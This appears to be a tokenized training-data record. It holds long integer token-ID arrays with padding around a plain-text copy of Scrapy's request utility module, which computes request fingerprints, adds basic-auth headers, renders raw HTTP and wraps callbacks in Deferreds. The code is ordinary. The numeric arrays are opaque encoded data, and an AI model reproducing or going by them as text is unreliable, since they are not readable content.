291, 2843, 826, 721, 39, 56, 2998, 423, 362, 63, 9945, 63, 6721, 1062, 2429, 9, 339, 768, 3744, 272, 347, 2973, 8, 1886, 304, 267, 408, 267, 437, 2973, 334, 10705, 9, 1256, 402, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 2728, 520, 5808, 26, 437, 2973, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 267, 520, 4500, 26, 257, 598, 56, 2846, 10387, 267, 408, 267, 372, 598, 56, 2846, 10387, 342, 339, 347, 365, 63, 2307, 8, 277, 304, 267, 408, 267, 2670, 340, 642, 365, 282, 2973, 334, 10705, 9, 1256, 2728, 520, 5808, 26, 715, 340, 642, 365, 282, 2973, 334, 10705, 9, 1256, 12, 756, 4257, 14, 267, 520, 4500, 26, 257, 2155, 267, 408, 267, 372, 291, 423, 4672, 63, 2479, 342, 508, 378, 4388, 199, 3, 2790, 17653, 2378, 768, 3744, 272, 347, 1218, 8, 1886, 12, 1592, 304, 267, 408, 267, 2790, 282, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 267, 2654, 9245, 1808, 314, 658, 525, 63, 2775, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 14, 525, 63, 2775, 8637, 1083, 14, 2775, 14, 2728, 520, 635, 1592, 26, 221, 8692, 1324, 267, 520, 466, 221, 1592, 26, 221, 598, 56, 2846, 398, 520, 5808, 26, 259, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 267, 520, 4500, 26, 420, 598, 56, 2846, 10387, 398, 2508, 7445, 447, 1749, 14, 16, 398, 1011, 3761, 19003, 658, 4240, 736, 32009, 3232, 844, 665, 2859, 921, 12151, 32009, 20777, 2374, 14, 292, 76, 2608, 290, 14, 846, 15, 6797, 15, 10749, 15, 27046, 15, 5856, 15, 8276, 2635, 1690, 15, 3761, 3, 3761, 13, 1490, 13, 606, 18740, 267, 408, 267, 2203, 63, 637, 275, 486, 32751, 63, 1480, 14, 15991, 2846, 10387, 423, 981, 8, 39, 56, 2998, 423, 362, 63, 9945, 63, 6721, 1062, 1592, 9, 267, 372, 598, 56, 2846, 10387, 8, 3292, 63, 637, 9, 16478, 768, 3744, 272, 347, 1218, 63, 1702, 8, 1886, 12, 1592, 304, 267, 408, 267, 2790, 282, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 367, 282, 1323, 57, 13, 13340, 666, 14, 2654, 9245, 1808, 314, 267, 658, 525, 63, 2775, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 14, 525, 63, 2775, 8637, 1083, 14, 2728, 520, 635, 1592, 26, 221, 8692, 1324, 267, 520, 466, 221, 1592, 26, 221, 598, 56, 2846, 398, 520, 5808, 26, 259, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 267, 520, 4500, 26, 420, 598, 56, 2846, 10387, 398, 2508, 7445, 447, 1749, 14, 16, 398, 1011, 3761, 19003, 658, 4240, 736, 32009, 3232, 844, 665, 2859, 921, 12151, 32009, 20777, 2374, 14, 292, 76, 2608, 290, 14, 846, 15, 6797, 15, 10749, 15, 27046, 15, 5856, 15, 8276, 2635, 1690, 15, 3761, 3, 3761, 13, 1490, 13, 606, 18740, 267, 408, 267, 2203, 63, 637, 275, 486, 32751, 63, 1480, 14, 15991, 2846, 10387, 423, 981, 63, 1702, 8, 39, 56, 2998, 423, 362, 63, 9945, 63, 6721, 1062, 1592, 9, 267, 372, 598, 56, 2846, 10387, 8, 3292, 63, 637, 9, 16478, 768, 3744, 272, 347, 1218, 63, 8568, 8, 1886, 12, 1592, 304, 267, 408, 267, 2790, 282, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 367, 282, 1323, 26184, 13, 13340, 666, 14, 267, 2654, 9245, 1808, 314, 658, 525, 63, 2775, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 14, 525, 63, 2775, 8637, 1083, 14, 2775, 2728, 520, 635, 1592, 26, 221, 8692, 1324, 267, 520, 466, 221, 1592, 26, 221, 598, 56, 2846, 398, 520, 5808, 26, 259, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 267, 520, 4500, 26, 420, 598, 56, 2846, 10387, 398, 2508, 7445, 447, 1749, 14, 16, 398, 1011, 3761, 19003, 658, 4240, 736, 32009, 3232, 844, 665, 2859, 921, 12151, 32009, 20777, 2374, 14, 292, 76, 2608, 290, 14, 846, 15, 6797, 15, 10749, 15, 27046, 15 ]
[ 16879, 283, 533, 63, 1667, 14, 647, 7, 199, 5680, 1853, 8089, 32447, 199, 3, 12840, 26, 4226, 440, 5283, 7003, 2348, 12, 652, 365, 4046, 1233, 199, 504, 1275, 492, 486, 32751, 63, 1480, 199, 504, 30259, 32009, 14, 20777, 1246, 492, 598, 56, 2998, 12, 2069, 63, 1121, 12, 1109, 63, 1121, 12, 620, 63, 1121, 199, 504, 1275, 39, 56, 2846, 492, 598, 56, 2846, 199, 504, 1275, 39, 56, 15162, 492, 598, 56, 15162, 199, 504, 1275, 39, 56, 17578, 492, 598, 56, 17578, 421, 199, 5680, 21525, 8089, 32447, 199, 199, 5680, 1853, 10240, 199, 3, 12840, 26, 710, 1233, 4306, 911, 440, 3350, 314, 1233, 315, 642, 1853, 199, 5680, 21525, 10240, 199, 199, 5680, 1853, 8089, 7921, 199, 3, 12840, 26, 4226, 440, 5283, 7003, 2348, 12, 652, 365, 4046, 1233, 199, 533, 598, 56, 2846, 10387, 8, 20777, 1246, 63, 1480, 14, 15991, 2846, 10387, 304, 272, 408, 272, 598, 56, 2846, 10387, 1021, 14, 339, 710, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 1021, 365, 1202, 370, 1551, 436, 2218, 370, 16219, 14, 29095, 5664, 402, 666, 272, 787, 3715, 1901, 5664, 436, 19733, 1536, 542, 1514, 9406, 370, 7981, 314, 1806, 13, 1180, 402, 5791, 4402, 1380, 812, 20343, 503, 812, 2822, 787, 3769, 5313, 370, 9245, 14, 272, 1010, 15067, 666, 5664, 787, 13988, 701, 849, 370, 413, 19487, 334, 6777, 365, 922, 13, 279, 13048, 680, 3918, 6656, 2419, 314, 1853, 1568, 272, 787, 19733, 1536, 8852, 12, 1373, 1853, 1126, 1004, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 2429, 29, 16, 304, 267, 1613, 8, 39, 56, 2846, 10387, 12, 291, 2843, 826, 721, 39, 56, 2998, 423, 362, 63, 9945, 63, 6721, 1062, 2429, 9, 339, 768, 3744, 272, 347, 2973, 8, 1886, 304, 267, 408, 267, 437, 2973, 334, 10705, 9, 1256, 402, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 2728, 520, 5808, 26, 437, 2973, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 267, 520, 4500, 26, 257, 598, 56, 2846, 10387, 267, 408, 267, 372, 598, 56, 2846, 10387, 342, 339, 347, 365, 63, 2307, 8, 277, 304, 267, 408, 267, 2670, 340, 642, 365, 282, 2973, 334, 10705, 9, 1256, 2728, 520, 5808, 26, 715, 340, 642, 365, 282, 2973, 334, 10705, 9, 1256, 12, 756, 4257, 14, 267, 520, 4500, 26, 257, 2155, 267, 408, 267, 372, 291, 423, 4672, 63, 2479, 342, 508, 378, 4388, 199, 3, 2790, 17653, 2378, 768, 3744, 272, 347, 1218, 8, 1886, 12, 1592, 304, 267, 408, 267, 2790, 282, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 267, 2654, 9245, 1808, 314, 658, 525, 63, 2775, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 14, 525, 63, 2775, 8637, 1083, 14, 2775, 14, 2728, 520, 635, 1592, 26, 221, 8692, 1324, 267, 520, 466, 221, 1592, 26, 221, 598, 56, 2846, 398, 520, 5808, 26, 259, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 267, 520, 4500, 26, 420, 598, 56, 2846, 10387, 398, 2508, 7445, 447, 1749, 14, 16, 398, 1011, 3761, 19003, 658, 4240, 736, 32009, 3232, 844, 665, 2859, 921, 12151, 32009, 20777, 2374, 14, 292, 76, 2608, 290, 14, 846, 15, 6797, 15, 10749, 15, 27046, 15, 5856, 15, 8276, 2635, 1690, 15, 3761, 3, 3761, 13, 1490, 13, 606, 18740, 267, 408, 267, 2203, 63, 637, 275, 486, 32751, 63, 1480, 14, 15991, 2846, 10387, 423, 981, 8, 39, 56, 2998, 423, 362, 63, 9945, 63, 6721, 1062, 1592, 9, 267, 372, 598, 56, 2846, 10387, 8, 3292, 63, 637, 9, 16478, 768, 3744, 272, 347, 1218, 63, 1702, 8, 1886, 12, 1592, 304, 267, 408, 267, 2790, 282, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 367, 282, 1323, 57, 13, 13340, 666, 14, 2654, 9245, 1808, 314, 267, 658, 525, 63, 2775, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 14, 525, 63, 2775, 8637, 1083, 14, 2728, 520, 635, 1592, 26, 221, 8692, 1324, 267, 520, 466, 221, 1592, 26, 221, 598, 56, 2846, 398, 520, 5808, 26, 259, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 267, 520, 4500, 26, 420, 598, 56, 2846, 10387, 398, 2508, 7445, 447, 1749, 14, 16, 398, 1011, 3761, 19003, 658, 4240, 736, 32009, 3232, 844, 665, 2859, 921, 12151, 32009, 20777, 2374, 14, 292, 76, 2608, 290, 14, 846, 15, 6797, 15, 10749, 15, 27046, 15, 5856, 15, 8276, 2635, 1690, 15, 3761, 3, 3761, 13, 1490, 13, 606, 18740, 267, 408, 267, 2203, 63, 637, 275, 486, 32751, 63, 1480, 14, 15991, 2846, 10387, 423, 981, 63, 1702, 8, 39, 56, 2998, 423, 362, 63, 9945, 63, 6721, 1062, 1592, 9, 267, 372, 598, 56, 2846, 10387, 8, 3292, 63, 637, 9, 16478, 768, 3744, 272, 347, 1218, 63, 8568, 8, 1886, 12, 1592, 304, 267, 408, 267, 2790, 282, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8637, 909, 367, 282, 1323, 26184, 13, 13340, 666, 14, 267, 2654, 9245, 1808, 314, 658, 525, 63, 2775, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 14, 525, 63, 2775, 8637, 1083, 14, 2775, 2728, 520, 635, 1592, 26, 221, 8692, 1324, 267, 520, 466, 221, 1592, 26, 221, 598, 56, 2846, 398, 520, 5808, 26, 259, 658, 39, 56, 2846, 10387, 665, 12151, 32009, 14, 20777, 1246, 14, 39, 56, 2846, 10387, 8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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
nirmeshk/oh-mainline
vendor/packages/scrapy/scrapy/utils/request.py
25
3547
""" This module provides some useful functions for working with scrapy.http.Request objects """ import hashlib import weakref from urlparse import urlunparse from twisted.internet.defer import Deferred from w3lib.http import basic_auth_header from scrapy.utils.url import canonicalize_url from scrapy.utils.httpobj import urlparse_cached _fingerprint_cache = weakref.WeakKeyDictionary() def request_fingerprint(request, include_headers=None): """ Return the request fingerprint. The request fingerprint is a hash that uniquely identifies the resource the request points to. For example, take the following two urls: http://www.example.com/query?id=111&cat=222 http://www.example.com/query?cat=222&id=111 Even though those are two different URLs both point to the same resource and are equivalent (ie. they should return the same response). Another example are cookies used to store session ids. Suppose the following page is only accesible to authenticated users: http://www.example.com/members/offers.html Lot of sites use a cookie to store the session id, which adds a random component to the HTTP Request and thus should be ignored when calculating the fingerprint. For this reason, request headers are ignored by default when calculating the fingeprint. If you want to include specific headers use the include_headers argument, which is a list of Request headers to include. """ if include_headers: include_headers = tuple([h.lower() for h in sorted(include_headers)]) cache = _fingerprint_cache.setdefault(request, {}) if include_headers not in cache: fp = hashlib.sha1() fp.update(request.method) fp.update(canonicalize_url(request.url)) fp.update(request.body or '') if include_headers: for hdr in include_headers: if hdr in request.headers: fp.update(hdr) for v in request.headers.getlist(hdr): fp.update(v) cache[include_headers] = fp.hexdigest() return cache[include_headers] def request_authenticate(request, username, password): """Autenticate the given request (in place) using the HTTP basic access authentication mechanism (RFC 2617) and the given username and password """ request.headers['Authorization'] = basic_auth_header(username, password) def request_httprepr(request): """Return the raw HTTP representation (as string) of the given request. This is provided only for reference since it's not the actual stream of bytes that will be send when performing the request (that's controlled by Twisted). """ parsed = urlparse_cached(request) path = urlunparse(('', '', parsed.path or '/', parsed.params, parsed.query, '')) s = "%s %s HTTP/1.1\r\n" % (request.method, path) s += "Host: %s\r\n" % parsed.hostname if request.headers: s += request.headers.to_string() + "\r\n" s += "\r\n" s += request.body return s def request_deferred(request): """Wrap a request inside a Deferred. This returns a Deferred whose first pair of callbacks are the request callback and errback. The Deferred also triggers when the request callback/errback is executed (ie. when the request is downloaded) """ d = Deferred() if request.callback: d.addCallbacks(request.callback, request.errback) request.callback, request.errback = d.callback, d.errback return d
agpl-3.0
[ 624, 199, 2765, 859, 6571, 2005, 2997, 3423, 367, 6449, 543, 199, 26442, 14, 1014, 14, 2017, 2251, 199, 624, 199, 199, 646, 8337, 199, 646, 13852, 199, 504, 7097, 492, 30111, 199, 199, 504, 7390, 14, 4901, 14, 11610, 492, 17448, 199, 504, 336, 19, 773, 14, 1014, 492, 5678, 63, 1178, 63, 1291, 199, 199, 504, 18918, 14, 1208, 14, 633, 492, 11358, 794, 63, 633, 199, 504, 18918, 14, 1208, 14, 16916, 555, 468, 492, 7097, 63, 5245, 421, 199, 63, 15077, 63, 1637, 275, 13852, 14, 18889, 1197, 11728, 342, 199, 318, 1056, 63, 15077, 8, 1069, 12, 2387, 63, 2139, 29, 403, 304, 272, 408, 272, 1432, 314, 1056, 18020, 14, 2286, 710, 1056, 18020, 365, 282, 2631, 626, 28727, 22975, 314, 2073, 314, 272, 1056, 4501, 370, 14, 2104, 2893, 12, 5452, 314, 2569, 2877, 8187, 26, 2286, 1455, 921, 1544, 14, 2694, 14, 957, 15, 1131, 31, 344, 29, 6673, 6, 3385, 29, 9485, 272, 1455, 921, 1544, 14, 2694, 14, 957, 15, 1131, 31, 3385, 29, 9485, 6, 344, 29, 6673, 339, 22207, 10617, 5204, 787, 2877, 3365, 10867, 3865, 2376, 370, 314, 2011, 2073, 272, 436, 787, 7353, 334, 1873, 14, 2985, 1077, 372, 314, 2011, 1177, 680, 339, 22604, 2893, 787, 10049, 1202, 370, 3877, 2351, 2762, 14, 6820, 4070, 314, 272, 2569, 2034, 365, 1454, 1066, 301, 1164, 370, 15082, 4390, 26, 2286, 1455, 921, 1544, 14, 2694, 14, 957, 15, 6334, 15, 1997, 1192, 14, 1360, 339, 491, 357, 402, 15424, 675, 282, 5494, 370, 3877, 314, 2351, 1305, 12, 1314, 9584, 282, 2196, 272, 3931, 370, 314, 3101, 4784, 436, 12850, 1077, 506, 5525, 1380, 26079, 272, 314, 18020, 14, 221, 2286, 2104, 642, 4499, 12, 1056, 2323, 787, 5525, 701, 849, 1380, 26079, 272, 314, 2583, 303, 1361, 14, 982, 1265, 2934, 370, 2387, 2488, 2323, 675, 314, 272, 2387, 63, 2139, 1423, 12, 1314, 365, 282, 769, 402, 4784, 2323, 370, 2387, 14, 339, 408, 272, 340, 2387, 63, 2139, 26, 267, 2387, 63, 2139, 275, 2008, 779, 72, 14, 2325, 342, 367, 394, 315, 3355, 8, 2613, 63, 2139, 3948, 272, 2581, 275, 485, 15077, 63, 1637, 14, 5486, 8, 1069, 12, 5009, 272, 340, 2387, 63, 2139, 440, 315, 2581, 26, 267, 4090, 275, 8337, 14, 4835, 17, 342, 267, 4090, 14, 873, 8, 1069, 14, 765, 9, 267, 4090, 14, 873, 8, 13109, 794, 63, 633, 8, 1069, 14, 633, 430, 267, 4090, 14, 873, 8, 1069, 14, 2030, 503, 4074, 267, 340, 2387, 63, 2139, 26, 288, 367, 15260, 315, 2387, 63, 2139, 26, 355, 340, 15260, 315, 1056, 14, 2139, 26, 490, 4090, 14, 873, 8, 11244, 9, 490, 367, 373, 315, 1056, 14, 2139, 14, 21343, 8, 11244, 304, 717, 4090, 14, 873, 8, 86, 9, 267, 2581, 59, 2613, 63, 2139, 61, 275, 4090, 14, 11453, 342, 272, 372, 2581, 59, 2613, 63, 2139, 61, 199, 199, 318, 1056, 63, 13975, 8, 1069, 12, 3434, 12, 2505, 304, 272, 408, 15900, 724, 764, 323, 314, 1627, 1056, 334, 262, 4192, 9, 1808, 314, 3101, 5678, 2879, 272, 6299, 14729, 334, 14468, 7875, 1196, 9, 436, 314, 1627, 3434, 436, 2505, 272, 408, 272, 1056, 14, 2139, 459, 11626, 418, 275, 5678, 63, 1178, 63, 1291, 8, 2473, 12, 2505, 9, 199, 199, 318, 1056, 63, 16916, 657, 2700, 8, 1069, 304, 272, 408, 1767, 314, 3066, 3101, 6025, 334, 305, 1059, 9, 402, 314, 1627, 1056, 14, 272, 961, 365, 2741, 1454, 367, 3659, 3967, 652, 1159, 440, 314, 3503, 2547, 402, 272, 2783, 626, 911, 506, 3222, 1380, 19203, 314, 1056, 334, 9099, 1159, 22284, 272, 701, 17078, 680, 272, 408, 272, 4565, 275, 7097, 63, 5245, 8, 1069, 9, 272, 931, 275, 30111, 4725, 297, 3260, 4565, 14, 515, 503, 17220, 4565, 14, 1162, 12, 4565, 14, 1131, 12, 12381, 272, 308, 221, 275, 2071, 83, 450, 83, 3101, 15, 17, 14, 17, 60, 82, 60, 78, 2, 450, 334, 1069, 14, 765, 12, 931, 9, 272, 308, 847, 298, 4965, 26, 450, 83, 60, 82, 60, 78, 2, 450, 4565, 14, 4269, 272, 340, 1056, 14, 2139, 26, 267, 308, 847, 1056, 14, 2139, 14, 475, 63, 875, 342, 435, 1867, 82, 60, 78, 2, 272, 308, 847, 1867, 82, 60, 78, 2, 272, 308, 847, 1056, 14, 2030, 272, 372, 308, 199, 199, 318, 1056, 63, 12116, 8, 1069, 304, 272, 408, 15991, 282, 1056, 6272, 282, 17448, 14, 339, 961, 2529, 282, 17448, 7447, 1642, 4092, 402, 13484, 787, 314, 1056, 272, 3233, 436, 2329, 894, 14, 710, 17448, 2597, 18899, 1380, 314, 1056, 272, 3233, 15, 28940, 365, 7934, 334, 1873, 14, 1380, 314, 1056, 365, 13557, 9, 272, 408, 272, 366, 275, 17448, 342, 272, 340, 1056, 14, 3058, 26, 267, 366, 14, 10053, 83, 8, 1069, 14, 3058, 12, 1056, 14, 28940, 9, 272, 1056, 14, 3058, 12, 1056, 14, 28940, 275, 366, 14, 3058, 12, 366, 14, 28940, 272, 372, 366, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 2765, 859, 6571, 2005, 2997, 3423, 367, 6449, 543, 199, 26442, 14, 1014, 14, 2017, 2251, 199, 624, 199, 199, 646, 8337, 199, 646, 13852, 199, 504, 7097, 492, 30111, 199, 199, 504, 7390, 14, 4901, 14, 11610, 492, 17448, 199, 504, 336, 19, 773, 14, 1014, 492, 5678, 63, 1178, 63, 1291, 199, 199, 504, 18918, 14, 1208, 14, 633, 492, 11358, 794, 63, 633, 199, 504, 18918, 14, 1208, 14, 16916, 555, 468, 492, 7097, 63, 5245, 421, 199, 63, 15077, 63, 1637, 275, 13852, 14, 18889, 1197, 11728, 342, 199, 318, 1056, 63, 15077, 8, 1069, 12, 2387, 63, 2139, 29, 403, 304, 272, 408, 272, 1432, 314, 1056, 18020, 14, 2286, 710, 1056, 18020, 365, 282, 2631, 626, 28727, 22975, 314, 2073, 314, 272, 1056, 4501, 370, 14, 2104, 2893, 12, 5452, 314, 2569, 2877, 8187, 26, 2286, 1455, 921, 1544, 14, 2694, 14, 957, 15, 1131, 31, 344, 29, 6673, 6, 3385, 29, 9485, 272, 1455, 921, 1544, 14, 2694, 14, 957, 15, 1131, 31, 3385, 29, 9485, 6, 344, 29, 6673, 339, 22207, 10617, 5204, 787, 2877, 3365, 10867, 3865, 2376, 370, 314, 2011, 2073, 272, 436, 787, 7353, 334, 1873, 14, 2985, 1077, 372, 314, 2011, 1177, 680, 339, 22604, 2893, 787, 10049, 1202, 370, 3877, 2351, 2762, 14, 6820, 4070, 314, 272, 2569, 2034, 365, 1454, 1066, 301, 1164, 370, 15082, 4390, 26, 2286, 1455, 921, 1544, 14, 2694, 14, 957, 15, 6334, 15, 1997, 1192, 14, 1360, 339, 491, 357, 402, 15424, 675, 282, 5494, 370, 3877, 314, 2351, 1305, 12, 1314, 9584, 282, 2196, 272, 3931, 370, 314, 3101, 4784, 436, 12850, 1077, 506, 5525, 1380, 26079, 272, 314, 18020, 14, 221, 2286, 2104, 642, 4499, 12, 1056, 2323, 787, 5525, 701, 849, 1380, 26079, 272, 314, 2583, 303, 1361, 14, 982, 1265, 2934, 370, 2387, 2488, 2323, 675, 314, 272, 2387, 63, 2139, 1423, 12, 1314, 365, 282, 769, 402, 4784, 2323, 370, 2387, 14, 339, 408, 272, 340, 2387, 63, 2139, 26, 267, 2387, 63, 2139, 275, 2008, 779, 72, 14, 2325, 342, 367, 394, 315, 3355, 8, 2613, 63, 2139, 3948, 272, 2581, 275, 485, 15077, 63, 1637, 14, 5486, 8, 1069, 12, 5009, 272, 340, 2387, 63, 2139, 440, 315, 2581, 26, 267, 4090, 275, 8337, 14, 4835, 17, 342, 267, 4090, 14, 873, 8, 1069, 14, 765, 9, 267, 4090, 14, 873, 8, 13109, 794, 63, 633, 8, 1069, 14, 633, 430, 267, 4090, 14, 873, 8, 1069, 14, 2030, 503, 4074, 267, 340, 2387, 63, 2139, 26, 288, 367, 15260, 315, 2387, 63, 2139, 26, 355, 340, 15260, 315, 1056, 14, 2139, 26, 490, 4090, 14, 873, 8, 11244, 9, 490, 367, 373, 315, 1056, 14, 2139, 14, 21343, 8, 11244, 304, 717, 4090, 14, 873, 8, 86, 9, 267, 2581, 59, 2613, 63, 2139, 61, 275, 4090, 14, 11453, 342, 272, 372, 2581, 59, 2613, 63, 2139, 61, 199, 199, 318, 1056, 63, 13975, 8, 1069, 12, 3434, 12, 2505, 304, 272, 408, 15900, 724, 764, 323, 314, 1627, 1056, 334, 262, 4192, 9, 1808, 314, 3101, 5678, 2879, 272, 6299, 14729, 334, 14468, 7875, 1196, 9, 436, 314, 1627, 3434, 436, 2505, 272, 408, 272, 1056, 14, 2139, 459, 11626, 418, 275, 5678, 63, 1178, 63, 1291, 8, 2473, 12, 2505, 9, 199, 199, 318, 1056, 63, 16916, 657, 2700, 8, 1069, 304, 272, 408, 1767, 314, 3066, 3101, 6025, 334, 305, 1059, 9, 402, 314, 1627, 1056, 14, 272, 961, 365, 2741, 1454, 367, 3659, 3967, 652, 1159, 440, 314, 3503, 2547, 402, 272, 2783, 626, 911, 506, 3222, 1380, 19203, 314, 1056, 334, 9099, 1159, 22284, 272, 701, 17078, 680, 272, 408, 272, 4565, 275, 7097, 63, 5245, 8, 1069, 9, 272, 931, 275, 30111, 4725, 297, 3260, 4565, 14, 515, 503, 17220, 4565, 14, 1162, 12, 4565, 14, 1131, 12, 12381, 272, 308, 221, 275, 2071, 83, 450, 83, 3101, 15, 17, 14, 17, 60, 82, 60, 78, 2, 450, 334, 1069, 14, 765, 12, 931, 9, 272, 308, 847, 298, 4965, 26, 450, 83, 60, 82, 60, 78, 2, 450, 4565, 14, 4269, 272, 340, 1056, 14, 2139, 26, 267, 308, 847, 1056, 14, 2139, 14, 475, 63, 875, 342, 435, 1867, 82, 60, 78, 2, 272, 308, 847, 1867, 82, 60, 78, 2, 272, 308, 847, 1056, 14, 2030, 272, 372, 308, 199, 199, 318, 1056, 63, 12116, 8, 1069, 304, 272, 408, 15991, 282, 1056, 6272, 282, 17448, 14, 339, 961, 2529, 282, 17448, 7447, 1642, 4092, 402, 13484, 787, 314, 1056, 272, 3233, 436, 2329, 894, 14, 710, 17448, 2597, 18899, 1380, 314, 1056, 272, 3233, 15, 28940, 365, 7934, 334, 1873, 14, 1380, 314, 1056, 365, 13557, 9, 272, 408, 272, 366, 275, 17448, 342, 272, 340, 1056, 14, 3058, 26, 267, 366, 14, 10053, 83, 8, 1069, 14, 3058, 12, 1056, 14, 28940, 9, 272, 1056, 14, 3058, 12, 1056, 14, 28940, 275, 366, 14, 3058, 12, 366, 14, 28940, 272, 372, 366, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
